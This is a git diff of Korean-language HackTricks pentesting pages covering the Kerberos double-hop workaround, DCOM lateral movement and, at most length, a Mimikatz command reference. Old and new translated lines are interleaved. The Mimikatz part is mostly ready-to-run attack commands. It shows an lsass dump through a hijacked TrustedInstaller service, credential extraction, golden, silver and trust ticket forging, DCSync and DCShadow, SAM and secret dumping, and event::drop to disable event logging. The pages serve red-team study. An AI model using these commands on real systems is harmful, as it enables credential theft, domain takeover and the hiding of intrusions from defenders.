첫 번째 서버에 OpenSSH를 설치하면 더블 홉 문제에 대한 해결책이 활성화되어 점프 박스 시나리오에 특히 유용합니다. 이 방법은 Windows용 OpenSSH의 CLI 설치 및 설정을 필요로 합니다. 암호 인증을 위해 구성된 경우 중간 서버가 사용자를 대신하여 TGT를 획들할 수 있습니다.
|
||||
첫 번째 서버에 OpenSSH를 설치하면 더블 홉 문제에 대한 우회 방법이 가능해지며, 특히 점프 박스 시나리오에 유용합니다. 이 방법은 Windows용 OpenSSH의 CLI 설치 및 설정을 요구합니다. 비밀번호 인증을 위해 구성되면, 중간 서버가 사용자를 대신하여 TGT를 얻을 수 있습니다.
|
||||
|
||||
#### OpenSSH 설치 단계
|
||||
|
||||
1. 최신 OpenSSH 릴리스 zip을 다운로드하고 대상 서버로 이동합니다.
|
||||
1. 최신 OpenSSH 릴리스 zip 파일을 다운로드하여 대상 서버로 이동합니다.
|
||||
2. 압축을 풀고 `Install-sshd.ps1` 스크립트를 실행합니다.
|
||||
3. 포트 22를 열기 위한 방화벽 규칙을 추가하고 SSH 서비스가 실행 중인지 확인합니다.
|
||||
3. 포트 22를 열기 위해 방화벽 규칙을 추가하고 SSH 서비스가 실행 중인지 확인합니다.
|
||||
|
||||
`Connection reset` 오류를 해결하려면 OpenSSH 디렉토리에서 모든 사람에게 읽기 및 실행 액세스를 허용하도록 권한을 업데이트해야 할 수 있습니다.
|
||||
`Connection reset` 오류를 해결하려면 OpenSSH 디렉토리에 대해 모든 사용자가 읽기 및 실행 권한을 갖도록 권한을 업데이트해야 할 수 있습니다.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
## 참고 자료
|
||||
## References
|
||||
|
||||
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
|
||||
* [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
|
||||
|
@ -105,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 **제로부터 영웅이 되기까지 AWS 해킹을 배우세요**!</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks 레포**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud 레포**](https://github.com/carlospolop/hacktricks-cloud) **에 PR을 제출**하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# DCOM Exec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS 해킹을 제로에서 영웅으로 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 당신은 **사이버 보안 회사**에서 일하고 있습니까? 당신의 **회사가 HackTricks에 광고되기를 원하십니까**? 또는 **최신 버전의 PEASS에 접근하거나 HackTricks를 PDF로 다운로드**하고 싶습니까? [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family), 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션을 발견하세요.
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 받으세요.
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **와** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -54,7 +57,7 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**이 기술에 대한 자세한 정보는 원본 게시물을 확인하세요 [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
**MMC20.Application** 객체는 명시적인 "LaunchPermissions"가 부족하여 기본적으로 관리자가 접근할 수 있는 권한으로 설정되어 있음을 확인했습니다. 추가 세부정보는 [여기](https://twitter.com/tiraniddo/status/817532039771525120)에서 확인할 수 있으며, 명시적인 Launch Permission이 없는 객체를 필터링하기 위해 [@tiraniddo](https://twitter.com/tiraniddo)의 OleView .NET 사용을 권장합니다.
|
||||
**MMC20.Application** 객체는 명시적인 "LaunchPermissions"가 부족하여 기본적으로 관리자가 접근할 수 있는 권한으로 설정되어 있습니다. 추가 세부정보는 [여기](https://twitter.com/tiraniddo/status/817532039771525120)에서 확인할 수 있으며, 명시적인 Launch Permission이 없는 객체를 필터링하기 위해 [@tiraniddo](https://twitter.com/tiraniddo)의 OleView .NET 사용을 권장합니다.
|
||||
|
||||
명시적인 Launch Permissions가 부족한 두 개의 특정 객체인 `ShellBrowserWindow`와 `ShellWindows`가 강조되었습니다. `HKCR:\AppID\{guid}` 아래에 `LaunchPermission` 레지스트리 항목이 없다는 것은 명시적인 권한이 없음을 의미합니다.
|
||||
|
||||
|
@ -133,7 +136,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,42 @@
|
|||
# Mimikatz
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 HackTricks를 **PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**이 페이지는 [adsecurity.org](https://adsecurity.org/?page\_id=1821)**를 기반으로 합니다. 자세한 내용은 원본을 확인하세요!
|
||||
**이 페이지는 [adsecurity.org](https://adsecurity.org/?page\_id=1821)의 내용을 기반으로 합니다**. 추가 정보는 원본을 확인하세요!
|
||||
|
||||
## 메모리에 저장된 LM 및 평문
|
||||
## LM 및 메모리의 평문
|
||||
|
||||
Windows 8.1 및 Windows Server 2012 R2부터 자격 증명 도난을 방지하기 위해 중요한 조치가 적용되었습니다:
|
||||
Windows 8.1 및 Windows Server 2012 R2 이후로, 자격 증명 도난 방지를 위한 중요한 조치가 시행되었습니다:
|
||||
|
||||
- **LM 해시 및 평문 암호**는 더 이상 보안을 강화하기 위해 메모리에 저장되지 않습니다. "평문" 암호가 LSASS에 캐시되지 않도록 하려면 특정 레지스트리 설정인 _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_을 DWORD 값 `0`으로 구성해야 합니다.
|
||||
- **LM 해시 및 평문 비밀번호**는 보안을 강화하기 위해 더 이상 메모리에 저장되지 않습니다. 특정 레지스트리 설정인 _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_을 DWORD 값 `0`으로 설정하여 Digest Authentication을 비활성화해야 하며, 이를 통해 "평문" 비밀번호가 LSASS에 캐시되지 않도록 합니다.
|
||||
|
||||
- **LSA 보호**는 로컬 보안 권한 (LSA) 프로세스를 무단으로 메모리 읽기 및 코드 삽입으로부터 보호하기 위해 도입되었습니다. 이는 LSASS를 보호된 프로세스로 표시함으로써 달성됩니다. LSA 보호의 활성화는 다음과 같은 단계를 거칩니다:
|
||||
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_에서 `RunAsPPL`을 `dword:00000001`로 설정하여 레지스트리를 수정합니다.
|
||||
2. 이 레지스트리 변경을 관리되는 장치 전체에 적용하는 그룹 정책 개체 (GPO)를 구현합니다.
|
||||
- **LSA 보호**는 무단 메모리 읽기 및 코드 주입으로부터 로컬 보안 권한(LSA) 프로세스를 보호하기 위해 도입되었습니다. 이는 LSASS를 보호된 프로세스로 표시함으로써 달성됩니다. LSA 보호를 활성화하려면:
|
||||
1. _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_에서 레지스트리를 수정하여 `RunAsPPL`을 `dword:00000001`로 설정합니다.
|
||||
2. 관리되는 장치에서 이 레지스트리 변경을 시행하는 그룹 정책 개체(GPO)를 구현합니다.
|
||||
|
||||
이러한 보호 조치에도 불구하고, Mimikatz와 같은 도구는 특정 드라이버를 사용하여 LSA 보호를 우회할 수 있지만, 이러한 작업은 이벤트 로그에 기록될 가능성이 있습니다.
|
||||
이러한 보호에도 불구하고, Mimikatz와 같은 도구는 특정 드라이버를 사용하여 LSA 보호를 우회할 수 있지만, 이러한 행동은 이벤트 로그에 기록될 가능성이 높습니다.
|
||||
|
||||
### SeDebugPrivilege 제거에 대한 대응
|
||||
|
||||
일반적으로 관리자는 프로그램을 디버그할 수 있는 SeDebugPrivilege를 가지고 있습니다. 이 권한은 메모리 덤프를 추출하기 위해 공격자가 사용하는 일반적인 기술을 방지하기 위해 제한될 수 있습니다. 그러나 이 권한이 제거되더라도 TrustedInstaller 계정은 사용자 정의 서비스 구성을 사용하여 메모리 덤프를 수행할 수 있습니다:
|
||||
관리자는 일반적으로 SeDebugPrivilege를 가지고 있어 프로그램을 디버깅할 수 있습니다. 이 권한은 무단 메모리 덤프를 방지하기 위해 제한될 수 있으며, 이는 공격자가 메모리에서 자격 증명을 추출하는 데 사용하는 일반적인 기술입니다. 그러나 이 권한이 제거되더라도, TrustedInstaller 계정은 사용자 정의 서비스 구성을 사용하여 여전히 메모리 덤프를 수행할 수 있습니다:
|
||||
```bash
|
||||
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
|
||||
sc start TrustedInstaller
|
||||
```
|
||||
이를 통해 `lsass.exe` 메모리를 파일로 덤프하여 다른 시스템에서 분석하여 자격 증명을 추출할 수 있습니다:
|
||||
이것은 `lsass.exe` 메모리를 파일로 덤프할 수 있게 하며, 이후 다른 시스템에서 분석하여 자격 증명을 추출할 수 있습니다:
|
||||
```
|
||||
# privilege::debug
|
||||
# sekurlsa::minidump lsass.dmp
|
||||
|
@ -41,110 +44,110 @@ sc start TrustedInstaller
|
|||
```
|
||||
## Mimikatz 옵션
|
||||
|
||||
Mimikatz에서 이벤트 로그 조작은 두 가지 주요 동작을 포함합니다: 이벤트 로그 삭제 및 이벤트 서비스 패치하여 새 이벤트 기록을 방지합니다. 아래는 이러한 동작을 수행하기 위한 명령어입니다:
|
||||
Mimikatz에서 이벤트 로그 변조는 두 가지 주요 작업을 포함합니다: 이벤트 로그 지우기 및 새로운 이벤트 로그 생성을 방지하기 위한 이벤트 서비스 패치. 아래는 이러한 작업을 수행하기 위한 명령어입니다:
|
||||
|
||||
#### 이벤트 로그 삭제
|
||||
#### 이벤트 로그 지우기
|
||||
|
||||
- **명령어**: 이 동작은 이벤트 로그를 삭제하여 악의적인 활동을 추적하기 어렵게 만듭니다.
|
||||
- Mimikatz는 표준 문서에서 명령 줄을 통해 이벤트 로그를 직접 삭제하는 명령을 제공하지 않습니다. 그러나 이벤트 로그 조작은 일반적으로 PowerShell이나 Windows 이벤트 뷰어와 같은 시스템 도구나 스크립트를 사용하여 특정 로그를 지우는 것을 포함합니다.
|
||||
- **명령어**: 이 작업은 이벤트 로그를 삭제하여 악의적인 활동을 추적하기 어렵게 만드는 것을 목표로 합니다.
|
||||
- Mimikatz는 명령줄을 통해 이벤트 로그를 직접 지우기 위한 직접적인 명령어를 표준 문서에서 제공하지 않습니다. 그러나 이벤트 로그 조작은 일반적으로 Mimikatz 외부의 시스템 도구나 스크립트를 사용하여 특정 로그를 지우는 것을 포함합니다 (예: PowerShell 또는 Windows 이벤트 뷰어 사용).
|
||||
|
||||
#### 실험적 기능: 이벤트 서비스 패치
|
||||
|
||||
- **명령어**: `event::drop`
|
||||
- 이 실험적인 명령은 이벤트 로깅 서비스의 동작을 수정하여 새 이벤트 기록을 방지합니다.
|
||||
- 이 실험적 명령어는 이벤트 로깅 서비스의 동작을 수정하여 새로운 이벤트 기록을 방지하도록 설계되었습니다.
|
||||
- 예시: `mimikatz "privilege::debug" "event::drop" exit`
|
||||
|
||||
- `privilege::debug` 명령은 Mimikatz가 시스템 서비스를 수정하기 위해 필요한 권한으로 작동하도록 보장합니다.
|
||||
- `event::drop` 명령은 이벤트 로깅 서비스를 패치합니다.
|
||||
- `privilege::debug` 명령어는 Mimikatz가 시스템 서비스를 수정하는 데 필요한 권한으로 작동하도록 보장합니다.
|
||||
- 그 후 `event::drop` 명령어가 이벤트 로깅 서비스를 패치합니다.
|
||||
|
||||
|
||||
### Kerberos 티켓 공격
|
||||
|
||||
### 골든 티켓 생성
|
||||
|
||||
골든 티켓은 도메인 전체 액세스 위장을 가능하게 합니다. 주요 명령어와 매개변수는 다음과 같습니다:
|
||||
골든 티켓은 도메인 전체 접근을 가장할 수 있게 해줍니다. 주요 명령어 및 매개변수:
|
||||
|
||||
- 명령어: `kerberos::golden`
|
||||
- 매개변수:
|
||||
- `/domain`: 도메인 이름입니다.
|
||||
- `/sid`: 도메인의 보안 식별자(SID)입니다.
|
||||
- `/user`: 위장할 사용자 이름입니다.
|
||||
- `/krbtgt`: 도메인의 KDC 서비스 계정의 NTLM 해시입니다.
|
||||
- `/ptt`: 티켓을 직접 메모리에 주입합니다.
|
||||
- `/ticket`: 나중에 사용하기 위해 티켓을 저장합니다.
|
||||
- `/domain`: 도메인 이름.
|
||||
- `/sid`: 도메인의 보안 식별자(SID).
|
||||
- `/user`: 가장할 사용자 이름.
|
||||
- `/krbtgt`: 도메인의 KDC 서비스 계정의 NTLM 해시.
|
||||
- `/ptt`: 티켓을 메모리에 직접 주입합니다.
|
||||
- `/ticket`: 나중에 사용할 티켓을 저장합니다.
|
||||
|
||||
예시:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
|
||||
```
|
||||
### 실버 티켓 생성
|
||||
### Silver Ticket Creation
|
||||
|
||||
실버 티켓은 특정 서비스에 대한 액세스 권한을 부여합니다. 주요 명령어와 매개변수는 다음과 같습니다:
|
||||
Silver Tickets는 특정 서비스에 대한 접근을 허용합니다. 주요 명령어 및 매개변수:
|
||||
|
||||
- 명령어: 골든 티켓과 유사하지만 특정 서비스를 대상으로 합니다.
|
||||
- 매개변수:
|
||||
- Command: Golden Ticket과 유사하지만 특정 서비스를 대상으로 합니다.
|
||||
- Parameters:
|
||||
- `/service`: 대상 서비스 (예: cifs, http).
|
||||
- 골든 티켓과 유사한 다른 매개변수.
|
||||
- 기타 매개변수는 Golden Ticket과 유사합니다.
|
||||
|
||||
예시:
|
||||
Example:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
|
||||
```
|
||||
### 신뢰 티켓 생성
|
||||
### Trust Ticket Creation
|
||||
|
||||
신뢰 티켓은 신뢰 관계를 활용하여 도메인 간 리소스에 액세스하는 데 사용됩니다. 주요 명령어와 매개변수는 다음과 같습니다:
|
||||
Trust Tickets는 신뢰 관계를 활용하여 도메인 간 리소스에 접근하는 데 사용됩니다. 주요 명령 및 매개변수:
|
||||
|
||||
- 명령어: Golden Ticket과 유사하지만 신뢰 관계에 대한 것입니다.
|
||||
- 매개변수:
|
||||
- `/target`: 대상 도메인의 FQDN입니다.
|
||||
- `/rc4`: 신뢰 계정의 NTLM 해시입니다.
|
||||
- Command: Golden Ticket과 유사하지만 신뢰 관계에 대한 것입니다.
|
||||
- Parameters:
|
||||
- `/target`: 대상 도메인의 FQDN.
|
||||
- `/rc4`: 신뢰 계정의 NTLM 해시.
|
||||
|
||||
예시:
|
||||
Example:
|
||||
```bash
|
||||
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
|
||||
```
|
||||
### 추가 Kerberos 명령어
|
||||
|
||||
- **티켓 목록 보기**:
|
||||
- **티켓 목록**:
|
||||
- 명령어: `kerberos::list`
|
||||
- 현재 사용자 세션의 모든 Kerberos 티켓을 나열합니다.
|
||||
|
||||
- **캐시 전달**:
|
||||
- 명령어: `kerberos::ptc`
|
||||
- 캐시 파일에서 Kerberos 티켓을 주입합니다.
|
||||
- 예시: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
||||
- 예: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **티켓 전달**:
|
||||
- 명령어: `kerberos::ptt`
|
||||
- 다른 세션에서 Kerberos 티켓을 사용할 수 있게 합니다.
|
||||
- 예시: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
||||
- 예: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
|
||||
|
||||
- **티켓 제거**:
|
||||
- **티켓 삭제**:
|
||||
- 명령어: `kerberos::purge`
|
||||
- 세션에서 모든 Kerberos 티켓을 제거합니다.
|
||||
- 세션의 모든 Kerberos 티켓을 지웁니다.
|
||||
- 충돌을 피하기 위해 티켓 조작 명령어를 사용하기 전에 유용합니다.
|
||||
|
||||
|
||||
### Active Directory 조작
|
||||
### Active Directory 변조
|
||||
|
||||
- **DCShadow**: 임시로 기계를 AD 객체 조작을 위한 DC로 동작하게 만듭니다.
|
||||
- **DCShadow**: AD 객체 조작을 위해 기계를 DC처럼 임시로 작동하게 합니다.
|
||||
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
|
||||
|
||||
- **DCSync**: DC를 모방하여 암호 데이터를 요청합니다.
|
||||
- **DCSync**: DC를 모방하여 비밀번호 데이터를 요청합니다.
|
||||
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
|
||||
|
||||
### 자격 취득
|
||||
### 자격 증명 접근
|
||||
|
||||
- **LSADUMP::LSA**: LSA에서 자격 증명을 추출합니다.
|
||||
- `mimikatz "lsadump::lsa /inject" exit`
|
||||
|
||||
- **LSADUMP::NetSync**: 컴퓨터 계정의 암호 데이터를 사용하여 DC를 가장합니다.
|
||||
- *원본 컨텍스트에서 NetSync에 대한 특정 명령어가 제공되지 않았습니다.*
|
||||
- **LSADUMP::NetSync**: 컴퓨터 계정의 비밀번호 데이터를 사용하여 DC를 가장합니다.
|
||||
- *원본 맥락에서 NetSync에 대한 특정 명령어가 제공되지 않음.*
|
||||
|
||||
- **LSADUMP::SAM**: 로컬 SAM 데이터베이스에 액세스합니다.
|
||||
- **LSADUMP::SAM**: 로컬 SAM 데이터베이스에 접근합니다.
|
||||
- `mimikatz "lsadump::sam" exit`
|
||||
|
||||
- **LSADUMP::Secrets**: 레지스트리에 저장된 비밀을 해독합니다.
|
||||
- **LSADUMP::Secrets**: 레지스트리에 저장된 비밀을 복호화합니다.
|
||||
- `mimikatz "lsadump::secrets" exit`
|
||||
|
||||
- **LSADUMP::SetNTLM**: 사용자에 대한 새로운 NTLM 해시를 설정합니다.
|
||||
|
@ -160,13 +163,13 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
|
||||
### 권한 상승
|
||||
|
||||
- **PRIVILEGE::Backup**: 백업 권한 획득합니다.
|
||||
- **PRIVILEGE::Backup**: 백업 권한을 획득합니다.
|
||||
- `mimikatz "privilege::backup" exit`
|
||||
|
||||
- **PRIVILEGE::Debug**: 디버그 권한 획득합니다.
|
||||
- **PRIVILEGE::Debug**: 디버그 권한을 얻습니다.
|
||||
- `mimikatz "privilege::debug" exit`
|
||||
|
||||
### 자격 취득
|
||||
### 자격 증명 덤핑
|
||||
|
||||
- **SEKURLSA::LogonPasswords**: 로그인한 사용자의 자격 증명을 표시합니다.
|
||||
- `mimikatz "sekurlsa::logonpasswords" exit`
|
||||
|
@ -176,9 +179,9 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
|
||||
### SID 및 토큰 조작
|
||||
|
||||
- **SID::add/modify**: SID 및 SIDHistory 변경합니다.
|
||||
- **SID::add/modify**: SID 및 SIDHistory를 변경합니다.
|
||||
- 추가: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
||||
- 수정: *원본 컨텍스트에서 수정에 대한 특정 명령어가 제공되지 않았습니다.*
|
||||
- 수정: *원본 맥락에서 수정에 대한 특정 명령어가 제공되지 않음.*
|
||||
|
||||
- **TOKEN::Elevate**: 토큰을 가장합니다.
|
||||
- `mimikatz "token::elevate /domainadmin" exit`
|
||||
|
@ -189,22 +192,25 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
- `mimikatz "ts::multirdp" exit`
|
||||
|
||||
- **TS::Sessions**: TS/RDP 세션을 나열합니다.
|
||||
- *원본 컨텍스트에서 TS::Sessions에 대한 특정 명령어가 제공되지 않았습니다.*
|
||||
- *원본 맥락에서 TS::Sessions에 대한 특정 명령어가 제공되지 않음.*
|
||||
|
||||
### 보관함
|
||||
### 금고
|
||||
|
||||
- Windows Vault에서 암호를 추출합니다.
|
||||
- Windows Vault에서 비밀번호를 추출합니다.
|
||||
- `mimikatz "vault::cred /patch" exit`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>로부터 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하거나 **PEASS의 최신 버전에 액세스**하거나 **HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)에 PR을 제출하세요.
|
||||
